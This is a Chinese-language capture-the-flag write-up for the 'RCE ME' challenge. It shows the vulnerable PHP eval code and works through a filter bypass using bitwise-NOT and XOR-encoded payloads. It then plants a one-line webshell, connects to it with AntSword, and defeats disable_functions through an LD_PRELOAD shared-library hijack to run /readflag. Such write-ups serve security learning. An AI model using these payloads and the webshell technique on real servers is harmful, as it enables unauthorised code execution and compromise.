[极客大挑战 2019]RCE ME
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
需要传入code参数,长度小于等于40且过滤了字母和数字
绕过过滤的方法:URL编码取反绕过
参考:关于PHP正则的一些绕过方法
echo urlencode(~'phpinfo');
?>
得到编码%8F%97%8F%96%91%99%90
查看phpinfo:?code=(~%8F%97%8F%96%91%99%90)();
= phpinfo();
禁用了很多命令执行的函数
尝试写一句话木马
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'eval($_POST["r1"])');
?>
%9E%8C%8C%9A%8D%8B
%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8D%CE%DD%A2%D6
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8D%CE%DD%A2%D6);
测试是否执行成功:
蚁剑连接
发现读取不了flag,需要执行readflag才行,但是disable_functions禁用了许多函数,需要绕过才行
绕过方法参考:https://www.anquanke.com/post/id/175403
利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
简单来说就是:
LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用
而putenv可以设置环境变量
那么我们就可以:
1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数,触发specific shared library
4.成功进行RCE
再tmp目录上传利用脚本:
脚本地址:bypass_disablefunc_via_LD_PRELOAD
构造利用的payload,参考mochu佬的https://blog.csdn.net/mochu7777777/article/details/105136633
有点没看懂,应该是一个利用异或的payload,异或出来应该是GET,然后接收后面的参数形成$a( $b)的形式
最终payload:?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so